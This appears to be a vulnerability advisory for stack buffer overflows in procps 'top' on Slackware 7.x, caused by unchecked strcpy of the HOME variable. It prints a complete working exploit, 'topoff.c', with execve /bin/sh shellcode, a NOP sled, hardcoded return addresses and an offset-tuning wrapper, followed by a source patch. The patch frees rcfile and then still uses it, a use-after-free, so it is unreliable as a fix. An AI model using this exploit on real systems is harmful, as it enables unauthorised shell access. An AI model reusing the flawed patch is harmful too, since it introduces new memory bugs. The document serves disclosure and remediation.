COMMAND

    top

SYSTEMS AFFECTED

    procps's top

PROBLEM

    Ben  Lull  found  folowing.   The  utility  top, included with the
    procps  package  in  Slackware  Linux,  contains  multiple  buffer
    overruns.  Although the top utility is not sXid by default, it  is
    still  a  problem.   Through  security  comes  stability,  and  by
    creating  secure  applications,  you  will  in turn, create stable
    applications.  The overflows occur in two different places.   When
    a call to strcpy() is  made, it copies the environmental  variable
    HOME into the buffer rcfile[1024] without bounds checking.

    Included with this  post is proof  of concept code  (topoff.c) for
    Slackware Linux  7.0.0 and  7.1.0.   Simply remove  the comment in
    front of '#define RET' for the version of Slackware which you  are
    testing and compile.  When  run, the result will be  a execve()'ed
    /bin/sh.   You  can  also  verify  that  your  version  of  top is
    vulnerable by  setting the  environment HOME  to a  string greater
    then 1023 bytes.

    /*
     *
     * topoff.c (08/02/00)
     *
     * Live buffer overflow (stack smasher/breaker/etc..)
     * Exploits /usr/bin/top on Slackware 7.0.0 and 7.1.0.
     * Earlier version should also be assumed vulnerable.
     *
     * By: Ben Lull (blull@valleylocal.com)
     *
     *
     *
     * <--- Begin my Little Babble --->
     * You know your bored when you go through utils like top
     * which don't have a sXid bit and spend the time generating
     * the shell code from scratch and all that fun stuff as
     * well as making the code pretty..
     *
     * Note:
     *  grep(1) is your friend... example usage:
     *    me@synchro~> grep -F -n "str" *.c
     *    me@synchro~> grep -F -n "get" *.c
     *    me@synchro~> grep -F -n "print" *.c
     *    me@synchro~> grep -n "\[\]" *.c | grep -F "char"
     *
     *
     *
     * Experienced working Offsets:
     *  (It's obvious, look at the code)
     *  BUFLEN - strlen(code) - EIP.
     *
     *  You should know this one.
     *  If you don't.. you shouldn't
     *  Have toys such as this.
     *
     *
     *
     * Exploit Occurs:
     *
     * top.h:
     *       50: #define MAXNAMELEN         1024
     *
     *
     * top.c:
     *       211: char rcfile[MAXNAMELEN];
     *
     *       223: if (getenv("HOME")) {
     *       224:   strcpy(rcfile, getenv("HOME"));
     *       225:   strcat(rcfile, "/");
     *       226: }
     *        .
     *        .
     *        .
     *      1495: if (getenv("HOME")) {
     *      1496:   strcpy(rcfile, getenv("HOME"));
     *
    */
    
    
    #include <stdio.h>
    #include <stdlib.h>
    
    #define OFFSET                  0
    #define BUFLEN                  1032
    
    #define RET			0xbffffb35   /* Slackware 7.1 */
    //#define RET                     0xbffffafc /* Slackware 7.0 */
    
    #define NOP                     0x90
    #define TOP                     "/usr/bin/top"
    
    char code[] =
        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
        "\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\xc9\xc3"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90";
    
    
    
    void usage(char *arg) {
      fprintf(stderr, "\nUsage: %s [offset up/down] [eip]\n\n", arg);
      fprintf(stderr, "Examples:\n");
      fprintf(stderr, "\t%s 347 up                 -=- Default EIP increased by 347 bytes\n", arg);
      fprintf(stderr, "\t%s 347 down               -=- Default EIP decreased by 347 bytes\n", arg);
      fprintf(stderr, "\t%s 429 up 0xbffffad8      -=- EIP set to 0xbffffad8 and increased by 429 bytes\n", arg);
      fprintf(stderr, "\t%s 429 down 0xbffffad8    -=- EIP set to 0xbffffad8 and decreased by 429 bytes\n\n", arg);
      exit(1);
    }
    
    
    int main(int argc, char *argv[]) {
      char *buf, *p;
      long *addressp, address;
      int offset=OFFSET;
      int i;
    
    
      if((argc < 3) || (argc > 4))
        usage(argv[0]);
    
      if(argc == 3) {
        if(!strcmp(argv[2], "up")) {
          address = RET + atoi(argv[1]);
          printf("Increasing offset by: %d\n", atoi(argv[1]));
          printf("Increasing EIP to: 0x%x\n\n", RET + atoi(argv[1]));
        }
    
        if(!strcmp(argv[2], "down")) {
          address = RET - atoi(argv[1]);
          printf("Decreasing offset by: %d\n", atoi(argv[1]));
          printf("Decreasing EIP to: 0x%x\n\n", RET - atoi(argv[1]));
        }
      }
    
      if(argc >= 4) {
        if(!strcmp(argv[2], "up")) {
          address = strtoul(argv[3], NULL, 16) + atoi(argv[1]);
          printf("Setting EIP to: 0x%x\n", strtoul(argv[3], NULL, 16));
          printf("Increasing offset by: %d\n", atoi(argv[1]));
          printf("Increasing EIP to: 0x%x\n\n", (strtoul(argv[3], NULL, 16) + atoi(argv[1])));
        }
        if(!strcmp(argv[2], "down")) {
          address = strtoul(argv[3], NULL, 16) + atoi(argv[1]);
          printf("Setting EIP to: 0x%x\n", strtoul(argv[3], NULL, 16));
          printf("Decreasing offset by: %d\n", atoi(argv[1]));
          printf("Decreasing EIP to: 0x%x\n\n", (strtoul(argv[3], NULL, 16) - atoi(argv[1])));
        }
      }
    
    
      if (!(buf = (char *)malloc(BUFLEN))) {
        printf("Can't allocate memory.\n");
        exit(-1);
      }
    
      p = buf;
      addressp = (long *) p;
    
      for (i = 0; i < BUFLEN; i+=4) {
        *(addressp++) = address;
      }
    
      for (i = 0; i < (BUFLEN - strlen(code) - 4); i++) {
        buf[i] = NOP;
      }
    
      p = buf + (BUFLEN - strlen(code) - 4);
    
      for (i = 0; i < strlen(code); i++)
        *(p++) = code[i];
    
      buf[BUFLEN] = '\0';
    
    
      /*
       * A nifty trick is to run /bin/sh -i and run top manualy.
       * This way you can figure out if your going the right way or not
       *
       * strace/gdb /usr/bin/top
       *
      */
      setenv("HOME", buf, 1);
      system(TOP);
    }

SOLUTION

    A patch for the most  current version of procps (procps-2.0.6)  is
    attached  below.      Obtain  procps-2.0.6   from  any   Slackware
    distribution site  under the  source/a/procps/ directory.   Unpack
    procps-2.0.6.tar.gz     and     apply     the     included   patch
    (procps-2.0.6.patch):

    --- top.c	Tue Aug 15 21:03:10 2000
    +++ top.diff	Tue Aug 15 20:57:38 2000
    @@ -225,20 +225,35 @@
     {
         FILE *fp;
         char *pt;
    -    char rcfile[MAXNAMELEN];
    +    char *rcfile;
         char Options[256] = "";
    
         header_lines = 7;
    +
    +    if(!(rcfile = (char *)malloc(strlen(SYS_TOPRC)*sizeof(char *)))) {
    +      fprintf(stderr, "Unable to malloc()\n");
    +      exit(1);
    +    }
    +
         strcpy(rcfile, SYS_TOPRC);
         fp = fopen(rcfile, "r");
    +
         if (fp != NULL) {
 	    fgets(Options, 254, fp);
 	    fclose(fp);
         }
    +
    +    free(rcfile);
         parse_options(Options, 0);
         strcpy(Options, "");
    +
         if (getenv("HOME")) {
    -	strcpy(rcfile, getenv("HOME"));
    +        if(!(rcfile = (char *)malloc((strlen(getenv("HOME")) + strlen(RCFILE) + 2)*sizeof(char *)))) {
    +          fprintf(stderr, "Unable to malloc()\n");
    +          exit(-1);
    +        }
    +
    +	strncpy(rcfile, getenv("HOME"), strlen(getenv("HOME")) + 1);
 	    strcat(rcfile, "/");
         }
         strcat(rcfile, RCFILE);
    @@ -252,6 +267,7 @@
 	    }
 	    fgets(Options, 254, fp);
 	    fclose(fp);
    +        free(rcfile);
         }
         parse_options(Options, getuid()? Secure : 0);
     }
    @@ -1381,7 +1397,7 @@
     void do_key(char c)
     {
         int numinput, i;
    -    char rcfile[MAXNAMELEN];
    +    char *rcfile;
         FILE *fp;
    
         /*
    @@ -1583,7 +1599,13 @@
 	    break;
           case 'W':
 	    if (getenv("HOME")) {
    -	    strcpy(rcfile, getenv("HOME"));
    +
    +            if(!(rcfile = (char *)malloc((strlen(getenv("HOME")) + strlen(RCFILE) + 2)*sizeof(char *)))) {
    +                fprintf(stderr, "Unable to malloc()\n");
    +                exit(-1);
    +            }
    +
    +	    strncpy(rcfile, getenv("HOME"), strlen(getenv("HOME")) + 1);
 	        strcat(rcfile, "/");
 	        strcat(rcfile, RCFILE);
 	        fp = fopen(rcfile, "w");
    @@ -1611,6 +1633,7 @@
 		        fprintf(fp, "%c", 't');
 		    fprintf(fp, "\n");
 		    fclose(fp);
    +                free(rcfile);
 		    SHOWMESSAGE(("Wrote configuration to %s", rcfile));
 	        } else {
 		    SHOWMESSAGE(("Couldn't open %s", rcfile));